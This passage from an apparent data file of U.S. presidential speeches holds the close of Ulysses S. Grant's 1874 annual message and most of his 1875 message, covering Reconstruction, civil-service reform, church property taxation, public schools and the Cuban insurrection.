manufactured for the occasion.The whole number of troops in the States of Louisiana, Alabama, Georgia,\nFlorida, South Carolina, North Carolina, Kentucky, Tennessee, Arkansas,\nMississippi, Maryland, and Virginia at the time of the election was 4,082.\nThis embraces the garrisons of all the forts from the Delaware to the Gulf\nof Mexico.Another trouble has arisen in Arkansas. Article 13 of the constitution of\nthat State (which was adopted in 1868, and upon the approval of which by\nCongress the State was restored to representation as one of the States of\nthe Union) provides in effect that before any amendments proposed to this\nconstitution shall become a part thereof they shall be passed by two\nsuccessive assemblies and then submitted to and ratified by a majority of\nthe electors of the State voting thereon. On the 11th of May, 1874, the\ngovernor convened an extra session of the general assembly of the State,\nwhich on the 18th of the same month passed an act providing for a\nconvention to frame a new constitution. Pursuant to this act, and at an\nelection held on the 30th of June, 1874, the convention was approved, and\ndelegates were chosen thereto, who assembled on the 14th of last July and\nframed a new constitution, the schedule of which provided for the election\nof an entire new set of State officers in a manner contrary to the then\nexisting election laws of the State. On the 13th of October, 1874, this\nconstitution, as therein provided, was submitted to the people for their\napproval or rejection, and according to the election returns was approved\nby a large majority of those qualified to vote thereon; and at the same\nelection persons were chosen to fill all the State, county, and township\noffices. The governor elected in 1872 for the term of four years turned\nover his office to the governor chosen under the new constitution,\nwhereupon the lieutenant-governor, also elected in 1872 for a term of four\nyears, claiming to act as governor, and alleging that said proceedings by\nwhich the new constitution was made and a new set of officers elected were\nunconstitutional, illegal, and void, called upon me, as provided in section\n4, Article IV, of the Constitution, to protect the State against domestic\nviolence. As Congress is now investigating the political affairs of\nArkansas, I have declined to interfere.The whole subject of Executive interference with the affairs of a State is\nrepugnant to public opinion, to the feelings of those who, from their\nofficial capacity, must be used in such interposition, and to him or those\nwho must direct. Unless most clearly on the side of law, such interference\nbecomes a crime; with the law to support it, it is condemned without a\nheating. I desire, therefore, that all necessity for Executive direction in\nlocal affairs may become unnecessary and obsolete. I invite the attention,\nnot of Congress, but of the people of the United States, to the causes and\neffects of these unhappy questions. Is there not a disposition on one side\nto magnify wrongs and outrages, and on the other side to belittle them or\njustify them? If public opinion could be directed to a correct survey of\nwhat is and to rebuking wrong and aiding the proper authorities in\npunishing it, a better state of feeling would be inculcated, and the sooner\nwe would have that peace which would leave the States free indeed to\nregulate their own domestic affairs. I believe on the part of our citizens\nof the Southern States--the better part of them--there is a disposition to\nbe law abiding, and to do no violence either to individuals or to the laws\nexisting. But do they do right in ignoring the existence of violence and\nbloodshed in resistance to constituted authority? I sympathize with their\nprostrate condition, and would do all in my power to relieve them,\nacknowledging that in some instances they have had most trying governments\nto live under, and very oppressive ones in the way of taxation for nominal\nimprovements, not giving benefits equal to the hardships imposed. But can\nthey proclaim themselves entirely irresponsible for this condition? They\ncan not. Violence has been rampant in some localities, and has either been\njustified or denied by those who could have prevented it. The theory is\neven raised that there is to be no further interference on the part of the\nGeneral Government to protect citizens within a State where the State\nauthorities fail to give protection. This is a great mistake. While I\nremain Executive all the laws of Congress and the provisions of the\nConstitution, including the recent amendments added thereto, will be\nenforced with rigor, but with regret that they should have added one jot or\ntittle to Executive duties or powers. Let there be fairness in the\ndiscussion of Southern questions, the advocates of both or all political\nparties giving honest, truthful reports of occurrences, condemning the\nwrong and upholding the tight, and soon all will be well. Under existing\nconditions the negro votes the Republican ticket because he knows his\nfriends are of that party. Many a good citizen votes the opposite, not\nbecause he agrees with the great principles of state which separate\nparties, but because, generally, he is opposed to negro rule. This is a\nmost delusive cry. Treat the negro as a citizen and a voter, as he is and\nmust remain, and soon parties will be divided, not on the color line, but\non principle. Then we shall have no complaint of sectional interference.The report of the Attorney-General contains valuable recommendations\nrelating to the administration of justice in the courts of the United\nStates, to which I invite your attention.I respectfully suggest to Congress the propriety of increasing the number\nof judicial districts in the United States to eleven (the present number\nbeing nine) and the creation of two additional judgeships. The territory to\nbe traversed by the circuit judges is so great and the business of the\ncourts so steadily increasing that it is growing more and more impossible\nfor them to keep up with the business requiring their attention. Whether\nthis would involve the necessity of adding two more justices of the Supreme\nCourt to the present number I submit to the judgment of Congress.The attention of Congress is invited to the report of the Secretary of the\nInterior and to the legislation asked for by him. The domestic interests of\nthe people are more intimately connected with this Department than with\neither of the other Departments of Government. Its duties have been added\nto from time to time until they have become so onerous that without the\nmost perfect system and order it will be impossible for any Secretary of\nthe Interior to keep trace of all official transactions having his sanction\nand done in his name, and for which he is held personally responsible.The policy adopted for the management of Indian affairs, known as the peace\npolicy, has been adhered to with most beneficial results. It is confidently\nhoped that a few years more will relieve our frontiers from danger of\nIndian depredations.I commend the recommendation of the Secretary for the extension of the\nhomestead laws to the Indians and for some sort of Territorial government\nfor the Indian Territory. A great majority of the Indians occupying this\nTerritory are believed yet to be incapable of maintaining their rights\nagainst the more civilized and enlightened white man. Any Territorial form\nof government given them, therefore, should protect them in their homes and\nproperty for a period of at least twenty years, and before its final\nadoption should be ratified by a majority of those affected.The report of the Secretary of the Interior herewith attached gives much\ninteresting statistical information, which I abstain from giving an\nabstract of, but refer you to the report itself.The act of Congress providing the oath which pensioners must subscribe to\nbefore drawing their pensions cuts off from this bounty a few survivors of\nthe War of 1812 residing in the Southern States. I recommend the\nrestoration of this bounty to all such. The number of persons whose names\nwould thus be restored to the list of pensioners is not large. They are all\nold persons, who could have taken no part in the rebellion, and the\nservices for which they were awarded pensions were in defense of the whole\ncountry.The report of the Commissioner of Agriculture herewith contains suggestions\nof much interest to the general public, and refers to the sly approaching\nCentennial and the part his Department is ready to take in it. I feel that\nthe nation at large is interested in having this exposition a success, and\ncommend to Congress such action as will secure a greater general interest\nin it. Already many foreign nations have signified their intention to be\nrepresented at it, and it may be expected that every civilized nation will\nbe represented.The rules adopted to improve the civil service of the Government have been\nadhered to as closely as has been practicable with the opposition with\nwhich they meet. The effect, I believe, has been beneficial on the whole,\nand has tended to the elevation of the service. But it is impracticable to\nmaintain them without direct and positive support of Congress. Generally\nthe support which this reform receives is from those who give it their\nsupport only to find fault when the rules are apparently departed from.\nRemovals from office without preferring charges against parties removed are\nfrequently cited as departures from the rules adopted, and the retention of\nthose against whom charges are made by irresponsible persons and without\ngood grounds is also often condemned as a violation of them. Under these\ncircumstances, therefore, I announce that if Congress adjourns without\npositive legislation on the subject of \"civil-service reform\" I will regard\nsuch action as a disapproval of the system, and will abandon it, except so\nfar as to require examinations for certain appointees, to determine their\nfitness. Competitive examinations will be abandoned.The gentlemen who have given their services, without compensation, as\nmembers of the board to devise rules and regulations for the government of\nthe civil service of the country have shown much zeal and earnestness in\ntheir work, and to them, as well as to myself, it will be a source of\nmortification if it is to be thrown away. But I repeat that it is\nimpossible to carry this system to a successful issue without general\napproval and assistance and positive law to support it.I have stated that three elements of prosperity to the nation--capital,\nlabor, skilled and unskilled, and products of the soil--still remain with\nus. To direct the employment of these is a problem deserving the most\nserious attention of Congress. If employment can be given to all the labor\noffering itself, prosperity necessarily follows. I have expressed the\nopinion, and repeat it, that the first requisite to the accomplishment of\nthis end is the substitution of a sound currency in place of one of a\nfluctuating value. This secured, there are many interests that might be\nfostered to the great profit of both labor and capital. How to induce\ncapital to employ labor is the question. The subject of cheap\ntransportation has occupied the attention of Congress. Much new light on\nthis question will without doubt be given by the committee appointed by the\nlast Congress to investigate and report upon this subject.A revival of shipbuilding, and particularly of iron steamship building, is\nof vast importance to our national prosperity. The United States is now\npaying over $100,000,000 per annum for freights and passage on foreign\nships--to be carried abroad and expended in the employment and support of\nother peoples--beyond a fair percentage of what should go to foreign\nvessels, estimating on the tonnage and travel of each respectively. It is\nto be regretted that this disparity in the carrying trade exists, and to\ncorrect it I would be willing to see a great departure from the usual\ncourse of Government in supporting what might usually be termed private\nenterprise. I would not suggest as a remedy direct subsidy to American\nsteamship lines, but I would suggest the direct offer of ample compensation\nfor carrying the mails between Atlantic Seaboard cities and the Continent\non American-owned and American-built steamers, and would extend this\nliberality to vessels carrying the mails to South American States and to\nCentral America and Mexico, and would pursue the same policy from our\nPacific seaports to foreign seaports on the Pacific. It might be demanded\nthat vessels built for this service should come up to a standard fixed by\nlegislation in tonnage, speed, and all other qualities, looking to the\npossibility of Government requiring them at some time for war purposes. The\nright also of taking possession of them in such emergency should be\nguarded.I offer these suggestions, believing them worthy of consideration, in all\nseriousness, affecting all sections and all interests alike. If anything\nbetter can be done to direct the country into a course of general\nprosperity, no one will be more ready than I to second the plan.Forwarded herewith will be found the report of the commissioners appointed\nunder an act of Congress approved June 20, 1874, to wind up the affairs of\nthe District government. It will be seen from the report that the net debt\nof the District of Columbia, less securities on hand and available, is:Bonded debt issued prior to July 1, 1874 - - $8,883,940.933.65 bonds, act of Congress June 20, 1874 - - 2,088,168.73Certificates of the board of audit - - 4,770,558.45- -", 
+    "name": "Ulysses S. Grant"
+}
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+{
+    "date": "December 7, 1875", 
+    "speech": "To the Senate and House of Representatives:In submitting my seventh annual message to Congress, in this centennial\nyear of our national existence as a free and independent people, it affords\nme great pleasure to recur to the advancement that has been made from the\ntime of the colonies, one hundred years ago. We were then a people\nnumbering only 3,000,000. Now we number more than 40,000,000. Then\nindustries were confined almost exclusively to the tillage of the soil. Now\nmanufactories absorb much of the labor of the country.Our liberties remain unimpaired; the bondmen have been freed from slavery;\nwe have become possessed of the respect, if not the friendship, of all\ncivilized nations. Our progress has been great in all the arts--in science,\nagriculture, commerce, navigation, mining, mechanics, law, medicine, etc.;\nand in general education the progress is likewise encouraging. Our thirteen\nStates have become thirty-eight, including Colorado (which has taken the\ninitiatory steps to become a State), and eight Territories, including the\nIndian Territory and Alaska, and excluding Colorado, making a territory\nextending from the Atlantic to the Pacific. On the south we have extended\nto the Gulf of Mexico, and in the west from the Mississippi to the\nPacific.One hundred years ago the cotton gin, the steamship, the railroad, the\ntelegraph, the reaping, sewing, and modern printing machines, and numerous\nother inventions of scarcely less value to our business and happiness were\nentirely unknown.In 1776 manufactories scarcely existed even in name in all this vast\nterritory. In 1870 more than 2,000,000 persons were employed in\nmanufactories, producing more than $2,100,000,000 of products in amount\nannually, nearly equal to our national debt. From nearly the whole of the\npopulation of 1776 being engaged in the one occupation of agriculture, in\n1870 so numerous and diversified had become the occupation of our people\nthat less than 6,000,000 out of more than 40,000,000 were so engaged. The\nextraordinary effect produced in our country by a resort to diversified\noccupations has built a market for the products of fertile lands distant\nfrom the seaboard and the markets of the world.The American system of locating various and extensive manufactories next to\nthe plow and the pasture, and adding connecting railroads and steamboats,\nhas produced in our distant interior country a result noticeable by the\nintelligent portions of all commercial nations. The ingenuity and skill of\nAmerican mechanics have been demonstrated at home and abroad in a manner\nmost flattering to their pride. But for the extraordinary genius and\nability of our mechanics, the achievements of our agriculturists,\nmanufacturers, and transporters throughout the country would have been\nimpossible of attainment.The progress of the miner has also been great. Of coal our production has\nsmall; now many millions of tons are mined annually. So with iron, which\nformed scarcely an appreciable part of our products half a century ago, we\nnow produce more than the world consumed at the beginning of our national\nexistence. Lead, zinc, and copper, from being articles of import, we may\nexpect to be large exporters of in the near future. The development of gold\nand silver mines in the United States and Territories has not only been\nremarkable, but has had a large influence upon the business of all\ncommercial nations. Our merchants in the last hundred years have had a\nsuccess and have established a reputation for enterprise, sagacity,\nprogress, and integrity unsurpassed by peoples of older nationalities. This\n\"good name\" is not confined to their homes, but goes out upon every sea and\ninto every port where commerce enters. With equal pride we can point to our\nprogress in all of the learned professions.As we are now about to enter upon our second centennial--commenting our\nmanhood as a nation--it is well to look back upon the past and study what\nwill be best to preserve and advance our future greatness From the fall of\nAdam for his transgression to the present day no nation has ever been free\nfrom threatened danger to its prosperity and happiness. We should look to\nthe dangers threatening us, and remedy them so far as lies in our power. We\nare a republic whereof one man is as good as another before the law. Under\nsuch a form of government it is of the greatest importance that all should\nbe possessed of education and intelligence enough to cast a vote with a\nright understanding of its meaning. A large association of ignorant men can\nnot for any considerable period oppose a successful resistance to tyranny\nand oppression from the educated few, but will inevitably sink into\nacquiescence to the will of intelligence, whether directed by the demagogue\nor by priestcraft. Hence the education of the masses becomes of the first\nnecessity for the preservation of our institutions. They are worth\npreserving, because they have secured the greatest good to the greatest\nproportion of the population of any form of government yet devised. All\nother forms of government approach it just in proportion to the general\ndiffusion of education and independence of thought and action. As the\nprimary step, therefore, to our advancement in all that has marked our\nprogress in the past century, I suggest for your earnest consideration, and\nmost earnestly recommend it, that a constitutional amendment be submitted\nto the legislatures of the several States for ratification, making it the\nduty of each of the several States to establish and forever maintain free\npublic schools adequate to the education of all the children in the\nrudimentary branches within their respective limits, irrespective of sex,\ncolor, birthplace, or religions; forbidding the teaching in said schools of\nreligious, atheistic, or pagan tenets; and prohibiting the granting of any\nschool funds or school taxes, or any part thereof, either by legislative,\nmunicipal, or other authority, for the benefit or in aid, directly or\nindirectly, of any religious sect or denomination, or in aid or for the\nbenefit of any other object of any nature or kind whatever.In connection with this important question I would also call your attention\nto the importance of correcting an evil that, if permitted to continue,\nwill probably lead to great trouble in our land before the close of the\nnineteenth century. It is the accumulation of vast amounts of untaxed\nchurch property.In 1850, I believe, the church property of the United States which paid no\ntax, municipal or State, amounted to about $83,000,000. In 1860 the amount\nhad doubled; in 1875 it is about $1,000,000,000. By 1900, without check, it\nis safe to say this property will reach a sum exceeding $3,000,000,000. So\nvast a sum, receiving all the protection and benefits of Government without\nbearing its proportion of the burdens and expenses of the same, will not be\nlooked upon acquiescently by those who have to pay the taxes. In a growing\ncountry, where real estate enhances so rapidly with time as in the United\nStates, there is scarcely a limit to the wealth that may be acquired by\ncorporations, religious or otherwise, if allowed to retain real estate\nwithout taxation. The contemplation of so vast a property as here alluded\nto, without taxation, may lead to sequestration without constitutional\nauthority and through blood.I would suggest the taxation of all property equally, whether church or\ncorporation, exempting only the last resting place of the dead and\npossibly, with proper restrictions, church edifices.Our relations with most of the foreign powers continue on a satisfactory\nand friendly footing.Increased intercourse, the extension of commerce, and the cultivation of\nmutual interests have steadily improved our relations with the large\nmajority of the powers of the world, rendering practicable the peaceful\nsolution of questions which from time to time necessarily arise, leaving\nfew which demand extended or particular notice.The correspondence of the Department of State with our diplomatic\nrepresentatives abroad is transmitted herewith.I am happy to announce the passage of an act by the General Cortes of\nPortugal, proclaimed since the adjournment of Congress, for the abolition\nof servitude in the Portuguese colonies. It is to be hoped that such\nlegislation may be another step toward the great consummation to be\nreached, when no man shall be permitted, directly or indirectly, under any\nguise, excuse, or form of law, to hold his fellow-man in bondage. I am of\nopinion also that it is the duty of the United States, as contributing\ntoward that end, and required by the spirit of the age in which we live, to\nprovide by suitable legislation that no citizen of the United States shall\nhold slaves as property in any other country or be interested therein.Chile has made reparation in the case of the whale ship Good Return, seized\nwithout sufficient cause upward of forty years ago. Though she had hitherto\ndenied her accountability, the denial was never acquiesced in by this\nGovernment, and the justice of the claim has been so earnestly contended\nfor that it has been gratifying that she should have at last acknowledged\nit.The arbitrator in the case of the United States steamer Montijo, for the\nseizure and detention of which the Government of the United States of\nColombia was held accountable, has decided in favor of the claim. This\ndecision has settled a question which had been pending for several years,\nand which, while it continued open, might more or less disturb the good\nunderstanding which it is desirable should be maintained between the two\nRepublics.A reciprocity treaty with the King of the Hawaiian Islands was concluded\nsome months since. As it contains a stipulation that it shall not take\neffect until Congress shall enact the proper legislation for that purpose,\ncopies of the instrument are herewith submitted, in order that, if such\nshould be the pleasure of Congress, the necessary legislation upon the\nsubject may be adopted.In March last an arrangement was made, through Mr. Cushing, our minister in\nMadrid, with the Spanish Government for the payment by the latter to the\nUnited States of the sum of $80,000 in coin, for the purpose of the relief\nof the families or persons of the ship's company and certain passengers of\nthe Virginius. This sum was to have been paid in three installments at two\nmonths each. It is due to the Spanish Government that I should state that\nthe payments were fully and spontaneously anticipated by that Government,\nand that the whole amount was paid within but a few days more than two\nmonths from the date of the agreement, a copy of which is herewith\ntransmitted. In pursuance of the terms of the adjustment, I have directed\nthe distribution of the amount among the parties entitled thereto,\nincluding the ship's company and such of the passengers as were American\ncitizens. Payments are made accordingly, on the application by the parties\nentitled thereto.The past year has furnished no evidence of an approaching termination of\nthe ruinous conflict which has been raging for seven years in the\nneighboring island of Cuba. The same disregard of the laws of civilized\nwarfare and of the just demands of humanity which has heretofore called\nforth expressions of condemnation from the nations of Christendom has\ncontinued to blacken the sad scene. Desolation, ruin, and pillage are\npervading the rich fields of one of the most fertile and productive regions\nof the earth, and the incendiary's torch, firing plantations and valuable\nfactories and buildings, is the agent marking the alternate advance or\nretreat of contending parties.The protracted continuance of this strife seriously affects the interests\nof all commercial nations, but those of the United States more than others,\nby reason of close proximity, its larger trade and intercourse with Cuba,\nand the frequent and intimate personal and social relations which have\ngrown up between its citizens and those of the island. Moreover, the\nproperty of our citizens in Cuba is large, and is rendered insecure and\ndepreciated in value and in capacity of production by the continuance of\nthe strife and the unnatural mode of its conduct. The same is true,\ndiffering only in degree, with respect to the interests and people of other\nnations; and the absence of any reasonable assurance of a near termination\nof the conflict must of necessity soon compel the States thus suffering to\nconsider what the interests of their own people and their duty toward\nthemselves may demand.I have hoped that Spain would be enabled to establish peace in her colony,\nto afford security to the property and the interests of our citizens, and\nallow legitimate scope to trade and commerce and the natural productions of\nthe island. Because of this hope, and from an extreme reluctance to\ninterfere in the most remote manner in the affairs of another and a\nfriendly nation, especially of one whose sympathy and friendship in the\nstruggling infancy of our own existence must ever be remembered with\ngratitude, I have patiently and anxiously waited the progress of events.\nOur own civil conflict is too recent for us not to consider the\ndifficulties which surround a government distracted by a dynastic rebellion\nat home at the same time that it has to cope with a separate insurrection\nin a distant colony. But whatever causes may have produced the situation\nwhich so grievously affects our interests, it exists, with all its\nattendant evils operating directly upon this country and its people. Thus\nfar all the efforts of Spain have proved abortive, and time has marked no\nimprovement in the situation. The armed bands of either side now occupy\nnearly the same ground as in the past, with the difference, from time to\ntime, of more lives sacrificed, more property destroyed, and wider extents\nof fertile and productive fields and more and more of valuable property\nconstantly wantonly sacrificed to the incendiary's torch.In contests of this nature, where a considerable body of people who have\nattempted to free themselves of the control of the superior government have\nreached such point in occupation of territory, in power, and in general\norganization as to constitute in fact a body politic; having a government\nin substance as well as in name; possessed of the elements of stability and\nequipped with the machinery for the administration of internal policy and\nthe execution of its laws; prepared and able to administer justice at home,\nas well as in its dealings with other powers, it is within the province of\nthose other powers to recognize its existence as a new and independent\nnation. In such cases other nations simply deal with an actually existing\ncondition of things, and recognize as one of the powers of the earth that\nbody politic which, possessing the necessary elements, has in fact become a\nnew power. In a word, the creation of a new state is a fact.To establish the condition of things essential to the recognition of this\nfact there must be a people occupying a known territory, united under some\nknown and defined form of government, acknowledged by those subject\nthereto, in which the functions of government are administered by usual\nmethods, competent to mete out justice to citizens and strangers, to afford\nremedies for public and for private wrongs, and able to assume the\ncorrelative international obligations and capable of performing the\ncorresponding international duties resulting from its acquisition of the\nrights of sovereignty. A power should exist complete in its organization,\nready to take and able to maintain its place among the nations of the\nearth.While conscious that the insurrection in Cuba has shown a strength and\nendurance which make it at least doubtful whether it be in the power of\nSpain to subdue it, it seems unquestionable that no such civil organization\nexists which may be recognized as an independent government capable of\nperforming its international obligations and entitled to be treated as one\nof the powers of the earth. A recognition under such circumstances would be\ninconsistent with the facts, and would compel the power granting it soon to\nsupport by force the government to which it had really given its only claim\nof existence. In my judgment the United States should adhere to the policy\nand the principles which have heretofore been its sure and safe guides in\nlike contests between revolted colonies and their mother country, and,\nacting only upon the clearest evidence, should avoid any possibility of\nsuspicion or of imputation.A recognition of the independence of Cuba being, in my opinion,\nimpracticable and indefensible, the question which next presents itself is\nthat of the recognition of belligerent rights in the parties to the\ncontest.In a former message to Congress I had occasion to consider this question,\nand reached the conclusion that the conflict in Cuba, dreadful and\ndevastating as were its incidents, did not rise to the fearful dignity of\nwar. Regarding it now, after this lapse of time, I am unable to see that\nany notable success or any marked or real advance on the part of the\ninsurgents has essentially changed the character of the contest. It has\nacquired greater age, but not greater or more formidable proportions. It is\npossible that the acts of foreign powers, and even acts of Spain herself,\nof this very nature, might be pointed to in defense of such recognition.\nBut now, as in its past history, the United States should carefully avoid\nthe false lights which might lead it into the mazes of doubtful law and of\nquestionable propriety, and adhere rigidly and sternly to the rule, which\nhas been its guide, of doing only that which is right and honest and of\ngood report. The question of according or of withholding rights of\nbelligerency must be judged in every case in view of the particular\nattending facts. Unless justified by necessity, it is always, and justly,\nregarded as an unfriendly act and a gratuitous demonstration of moral\nsupport to the rebellion. It is necessary, and it is required, when the\ninterests and rights of another government or of its people are so far\naffected by a pending civil conflict as to require a definition of its\nrelations to the parties thereto. But this conflict must be one which will\nbe recognized in the sense of international law as war. Belligerence, too,\nis a fact. The mere existence of contending armed bodies and their\noccasional conflicts do not constitute war in the sense referred to.\nApplying to the existing condition of affairs in Cuba the tests recognized\nby publicists and writers on international law, and which have been\nobserved by nations of dignity, honesty, and power when free from sensitive\nor selfish and unworthy motives, I fail to find in the insurrection the\nexistence of such a substantial political organization, real, palpable, and\nmanifest to the world, having the forms and capable of the ordinary\nfunctions of government toward its own people and to other states, with\ncourts for the administration of justice, with a local habitation,\npossessing such organization of force, such material, such occupation of\nterritory, as to take the contest out of the category of a mere rebellious\ninsurrection or occasional skirmishes and place it on the terrible footing\nof war, to which a recognition of belligerency would aim to elevate it. The\ncontest, moreover, is solely on land; the insurrection has not possessed\nitself of a single seaport whence it may send forth its flag, nor has it\nany means of communication with foreign powers except through the military\nlines of its adversaries. No apprehension of any of those sudden and\ndifficult complications which a war upon the ocean is apt to precipitate\nupon the vessels, both commercial and national, and upon the consular\nofficers of other powers calls for the definition of their relations to the\nparties to the contest. Considered as a question of expediency, I regard\nthe accordance of belligerent rights still to be as unwise and premature as\nI regard it to be, at present, indefensible as a measure of right. Such\nrecognition entails upon the country according the rights which flow from\nit difficult and complicated duties, and requires the exaction from the\ncontending parties of the strict observance of their rights and\nobligations; it confers the right of search upon the high seas by vessels\nof both parties; it would subject the carrying of arms and munitions of\nwar, which now may be transported freely and without interruption in the\nvessels of the United States, to detention and to possible seizure; it\nwould give rise to countless vexatious questions, would release the parent\nGovernment from responsibility for acts done by the insurgents, and would\ninvest Spain with the right to exercise the supervision recognized by our\ntreaty of 1795 over our commerce on the high seas, a very large part of\nwhich, in its traffic between the Atlantic and the Gulf States and between\nall of them and the States on the Pacific, passes through the waters which\nwash the shores of Cuba. The exercise of this supervision could scarce fail\nto lead, if not to abuses, certainly to collisions perilous to the peaceful\nrelations of the two States. There can be little doubt to what result such\nsupervision would before long draw this nation. It would be unworthy of the\nUnited States to inaugurate the possibilities of such result by measures of\nquestionable right or expediency or by any indirection. Apart from any\nquestion of theoretical right, I am satisfied that while the accordance of\nbelligerent rights to the insurgents in Cuba might give them a hope and an\ninducement to protract the struggle, it would be but a delusive hope, and\nwould not remove the evils which this Government and its people are\nexperiencing, but would draw the United States into complications which it\nhas waited long and already suffered much to avoid. The recognition of\nindependence or of belligerency being thus, in my judgment, equally\ninadmissible, it remains to consider what course shall be adopted should\nthe conflict not soon be brought to an end by acts of the parties\nthemselves, and should the evils which result therefrom, affecting all\nnations, and particularly the United States, continue. In such event I am\nof opinion that other nations will be compelled to assume the\nresponsibility which devolves upon them, and to seriously consider the only\nremaining measures possible--mediation and intervention, Owing, perhaps, to\nthe large expanse of water separating the island from the peninsula, the\nwant of harmony and of personal sympathy between the inhabitants of the\ncolony and those sent thither to rule them, and want of adaptation of the\nancient colonial system of Europe to the present times and to the ideas\nwhich the events of the past century have developed, the contending parties\nappear to have within themselves no depository of common confidence to\nsuggest wisdom when passion and excitement have their sway and to assume\nthe part of peacemaker. In this view in the earlier days of the contest the\ngood offices of the United States as a mediator were tendered in good\nfaith, without any selfish purpose, in the interest of humanity and in\nsincere friendship for both parties, but were at the time declined by\nSpain, with the declaration, nevertheless, that at a future time they would\nbe indispensable. No intimation has been received that in the opinion of\nSpain that time has been reached. And yet the strife continues, with all\nits dread horrors and all its injuries to the interests of the United\nStates and of other nations. Each party seems quite capable of working\ngreat injury and damage to the other, as well as to all the relations and\ninterests dependent on the existence of peace in the island; but they seem\nincapable of reaching any adjustment, and both have thus far failed of\nachieving any success whereby one party shall possess and control the\nisland to the exclusion of the other. Under these circumstances the agency\nof others, either by mediation or by intervention, seems to be the only\nalternative which must, sooner or later, be invoked for the termination of\nthe strife. At the same time, while thus impressed I do not at this time\nrecommend the adoption of any measure of intervention. I shall be ready at\nall times, and as the equal friend of both parties, to respond to a\nsuggestion that the good offices of the United States will be acceptable to\naid in bringing about a peace honorable to both. It is due to Spain, so far\nas this Government is concerned, that the agency of a third power, to which\nI have adverted, shall be adopted only as a last expedient. Had it been the\ndesire of the United States to interfere in the affairs of Cuba, repeated\nopportunities for so doing have been presented within the last few years;\nbut we have remained passive, and have performed our whole duty and all\ninternational obligations to Spain with friendship, fairness, and fidelity,\nand with a spirit of patience and forbearance which negatives every\npossible suggestion of desire to interfere or to add to the difficulties\nwith which she has been surrounded.The Government of Spain has recently submitted to our minister at Madrid\ncertain proposals which it is hoped may be found to be the basis, if not\nthe actual submission, of terms to meet the requirements of the particular\ngriefs of which this Government has felt itself entitled to complain. These\nproposals have not yet reached me in their full text. On their arrival they\nwill be taken into careful examination, and may, I hope, lead to a\nsatisfactory adjustment of the questions to which they refer and remove the\npossibility of future occurrences such as have given rise to our just\ncomplaints.It is understood also that renewed efforts are being made to introduce\nreforms in the internal administration of the island. Persuaded, however,\nthat a proper regard for the interests of the United States and of its\ncitizens entitles it to relief from the strain to which it has been\nsubjected by the difficulties of the questions and the wrongs and losses\nwhich arise from the contest in Cuba, and that the interests of humanity\nitself demand the cessation of the strife before the whole island shall be\nlaid waste and larger sacrifices of life be made, I shall feel it my duty,\nshould my hopes of a satisfactory adjustment and of the early restoration\nof peace and the removal of future causes of complaint be, unhappily,\ndisappointed, to make a further communication to Congress at some period\nnot far remote, and during the present session, recommending what may then\nseem to me to be necessary.The free zone, so called, several years since established by the Mexican\nGovernment in certain of the States of that Republic adjacent to our\nfrontier, remains in full operation. It has always been materially\ninjurious to honest traffic, for it operates as an incentive to traders in\nMexico to supply without customs charges the wants of inhabitants on this\nside of the line, and prevents the same wants from being supplied by\nmerchants of the United States, thereby to a considerable extent defrauding\nour revenue and checking honest commercial enterprise.Depredations by armed bands from Mexico on the people of Texas near the\nfrontier continue. Though the main object of these incursions is robbery,\nthey frequently result in the murder of unarmed and peaceably disposed\npersons, and in some instances even the United States post-offices and mail\ncommunications have been attacked. Renewed remonstrances upon this subject\nhave been addressed to the Mexican Government, but without much apparent\neffect. The military force of this Government disposable for service in\nthat quarter is quite inadequate to effectually guard the line, even at\nthose points where the incursions are usually made. An experiment of an\narmed vessel on the Rio Grande for that purpose is on trial, and it is\nhoped that, if not thwarted by the shallowness of the river and other\nnatural obstacles, it may materially contribute to the protection of the\nherdsmen of Texas.The proceedings of the joint commission under the convention between the\nUnited States and Mexico of the 4th of July, 1868, on the subject of\nclaims, will soon be brought to a close. The result of those proceedings\nwill then be communicated to Congress.I am happy to announce that the Government of Venezuela has, upon further\nconsideration, practically abandoned its objection to pay to the United\nStates that share of its revenue which some years since it allotted toward\nthe extinguishment of the claims of foreigners generally. In thus\nreconsidering its determination that Government has shown a just sense of\nself-respect which can not fail to reflect credit upon it in the eyes of\nall disinterested persons elsewhere. It is to be regretted, however, that\nits payments on account of claims of citizens of the United States are\nstill so meager in amount, and that the stipulations of the treaty in\nregard to the sums to be paid and the periods when those payments were to\ntake place should have been so signally disregarded.Since my last annual message the exchange has been made of the ratification\nof a treaty of commerce and navigation with Belgium, and of conventions\nwith the Mexican Republic for the further extension of the joint commission\nrespecting claims; with the Hawaiian Islands for commercial reciprocity,\nand with the Ottoman Empire for extradition; all of which have been duly\nproclaimed.The Court of Commissioners of Alabama Claims has prosecuted its important\nduties very assiduously and very satisfactorily. It convened and was\norganized on the 22d day of July, 1874, and by the terms of the act under\nwhich it was created was to exist for one year from that date. The act\nprovided, however, that should it be found impracticable to complete the\nwork of the court before the expiration of the year the President might by\nproclamation extend the time of its duration to a period not more than six\nmonths beyond the expiration of the one year.Having received satisfactory evidence that it would be impracticable to\ncomplete the work within the time originally fixed, I issued a proclamation\n(a copy of which is presented herewith) extending the time of duration of\nthe court for a period of six months from and after the 22d day of July\nlast.A report made through the clerk of the court (communicated herewith) shows\nthe condition of the calendar on the 1st of November last and the large\namount of work which has been accomplished. One thousand three hundred and\neighty-two claims have been presented, of which 682 had been disposed of at\nthe date of the report. I am informed that 170 cases were decided during\nthe month of November. Arguments are being made and decisions given in the\nremaining cases with all the dispatch consistent with the proper\nconsideration of the questions submitted. Many of these claims are in\nbehalf of mariners, or depend on the evidence of mariners, whose absence\nhas delayed the taking or the return of the necessary evidence.It is represented to me that it will be impracticable for the court to\nfinally dispose of all the cases before it within the present limit of its\nduration. Justice to the parties claimant, who have been at large expense\nin preparing their claims and obtaining the evidence in their support,\nsuggests a short extension, to enable the court to dispose of all of the\nclaims which have been presented.I recommend the legislation which may be deemed proper to enable the court\nto complete the work before it.I recommend that some suitable provision be made, by the creation of a\nspecial court or by conferring the necessary jurisdiction upon some\nappropriate tribunal, for the consideration and determination of the claims\nof aliens against the Government of the United States which have arisen\nwithin some reasonable limitation of time, or which may hereafter arise,\nexcluding all claims barred by treaty provisions or otherwise. It has been\nfound impossible to give proper consideration to these claims by the\nExecutive Departments of the Government. Such a tribunal would afford an\nopportunity to aliens other than British subjects to present their claims\non account of acts committed against their persons or property during the\nrebellion, as also to those subjects of Great Britain whose claims, having\narisen subsequent to the 9th day of April, 1865, could not be presented to\nthe late commission organized pursuant to the provisions of the treaty of\nWashington.The electric telegraph has become an essential and indispensable agent in\nthe transmission of business and social messages. Its operation on land,\nand within the limit of particular states, is necessarily under the control\nof the jurisdiction within which it operates. The lines on the high seas,\nhowever, are not subject to the particular control of any one government.In 1869 a concession was granted by the French Government to a company\nwhich proposed to lay a cable from the shores of France to the 